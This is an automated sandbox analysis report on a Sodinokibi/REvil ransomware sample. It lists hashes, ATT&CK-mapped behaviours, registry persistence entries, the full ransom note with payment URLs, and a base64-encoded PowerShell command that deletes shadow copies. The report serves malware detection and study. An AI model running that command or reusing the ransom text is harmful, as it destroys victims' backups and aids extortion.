sodinokibi | b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb

General

Target

b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
Size

212KB
MD5

c283e5ec517605b6226c29f96f6d1d28
SHA1

43caef6a20ab9e045d76f8bf3e4e96d622f2a6eb
SHA256

b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb
SHA512

8a72a611925f7e504ebde23dba0f23f1cb30613bc1c3f6e36dfa3c8e954e152054a154ad3cc5eaeb4861e776135daa77ce19ebc0b00813d83298fd01ca579955

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Path

C:\60k1e-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 60k1e. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/160F183BD6FB5CAB 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/160F183BD6FB5CAB Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: h/iMh/8+oRcNbW/eqbkkefBDQr+sqUyZOeutKJ+dJydUTlC0cGESrjKETUa+nAyd dC7zbKTwLTNNScpWNZxyJEhBa2RCadOC3nurfjZEg0YLzVaVCrT+oc8bqiwUcJwn 4vUnMRV91Tkd9cDM/4DU0YMCfGS+j5O2pkdzfvWPMUKTakmzIxX/x3UVgDL1MSFG 1R8AF9pwIE1C5aUKRJtMpzRMUXhRVodWFXk9OG+8Nu8aco7WS6d/CrNRa6Ur7qMj +U5hm64qA8G588kaALaQx6Is5aaNxLvyi9uqolNqNmNAJ5pxdhEM04bUQbQCOfrx vpZm5K4+ZlXHpyOXV/Yh8SBVyant3dXaUxZs0GbtGVqZU3fiCDMjwMg+T1pQSQd1 vNRr/+yMpxAn8jCOj2cBqLi5jdWeG/5aD+J3+XIdBBfMpSNcjbuqPGm9KpR0EGJ5 wJlHaazIztnZqtQ/8fBXP1aHA+H1jZysNHoZzflm+Ow09Rh2+lua4i7ISJzLb24o QTJykgnxnd+r5E0cnqVS64U2DnA8r8/beUTznVGyBxi/Jhg7bdTWig1pfs1CA7Uv tVvPoeu11oPqy2Mef5168xf1z4rvwWV3YYvmXylwvcyhOi6vOj6ZSeokB26qB7Yq 7BTgv+3VutVOO1+K2JC5rI8iwzADLmbsIR8Se7zNiwFVKKcGSF8gaZg7dswfCJXL 1wOMsO3N1d1R+0ScEjwAr0znB+Q5apKJxXIko5V2YtuCiYUAf4HiYp8ei7S/MovT T4SkI0pfdt6FAV2nxaT84HKC0xskYGa6nf8rku5mvTNCirt9l96Pp7RdqdLvNqQG OLAD2UXZF+dWanR3NvLKbxoq4AkKyfZjZ25VNBznrF+DC1Dr6DaGjcF70SYf45SM +iZu9yVORkP7tAD4MVkxOHIRQnT3+q0fqLXguyBiK3NzCSTOSt5gyP/vjkx217U3 lEm/4EaRtEhAdAzNYTOzpKfkpoJDrfG1/o7Eo+QIVhYHMcoSq/JqC0oDAR6B3/9h foikpOVW+arL0ch5Bqxm8/yw5l7qvgzPi/MtnI8VPfhHuLxM9pAwiUfF+dKnUGA7 /tgiKxKsqZAFED/BSmiFYIK7I1XNMUupI9ch4UiaS31RXg9yXBPRd6vkiJ2k7mFY dLI1syTQKBLD+fEQ0wWDv7r1vv4vIO5WrL8fHwbEHKDuzuViY/pZ/GnnEkokt3es iePUbRn4KMs0KPBR9ck1UvBRbfu7QhehsqYa8XBrl7+Ulqwncku0X6o3PEe2fcr4 yQw3/t9QzziUjwr/PSw= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/160F183BD6FB5CAB

http://decryptor.cc/160F183BD6FB5CAB

Signatures

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Drops file in Program Files directory 27 IoCs

Processes:

b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe

description	ioc	process
File opened for modification	\??\c:\program files\InitializePop.vbe	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\RemoveComplete.xsl	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\WaitGroup.jpeg	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\TraceConvert.mpg	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\PublishClear.cr2	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File created	\??\c:\program files (x86)\60k1e-readme.txt	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\ExitMeasure.pot	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\ImportRepair.m1v	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\ResolveAdd.wmx	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\ConnectDisable.docx	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\PushTest.reg	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\UnlockComplete.avi	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File created	\??\c:\program files\60k1e-readme.txt	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\ImportUninstall.ppsx	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\MergeEnter.htm	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\ReadRedo.mhtml	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\SuspendProtect.ttf	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\UnpublishRevoke.DVR-MS	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\GrantBlock.pptx	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\ImportLimit.vstm	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\PopDebug.rar	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\RestoreSkip.tiff	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\ResumeGet.csv	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\StepUse.fon	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\StopUpdate.xlsx	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\UnregisterCompress.xps	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
File opened for modification	\??\c:\program files\CompleteWatch.mid	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\eg751ha03cg72.bmp"	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe

Adds Run entry to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\tQZ5HNPIrG = "C:\\Users\\Admin\\AppData\\Local\\Temp\\b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe"	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	2460	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
Token: SeDebugPrivilege	4032	powershell.exe
Token: SeBackupPrivilege	688	vssvc.exe
Token: SeRestorePrivilege	688	vssvc.exe
Token: SeAuditPrivilege	688	vssvc.exe
Token: SeTakeOwnershipPrivilege	2460	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exepowershell.exe

pid	process
2460	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
2460	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe

description	pid	process	target process
PID 2460 wrote to memory of 4032	2460	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe	powershell.exe
PID 2460 wrote to memory of 4032	2460	b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe	powershell.exe

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe

C:\Users\Admin\AppData\Local\Temp\b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe
"C:\Users\Admin\AppData\Local\Temp\b433aaa86cc70ce6c60798f07fa013f4712947b32b6692bc08e1832dc17f90fb.exe"
1⤵
- Drops file in Program Files directory
- Sets desktop wallpaper using registry
- Adds Run entry to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2460

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4032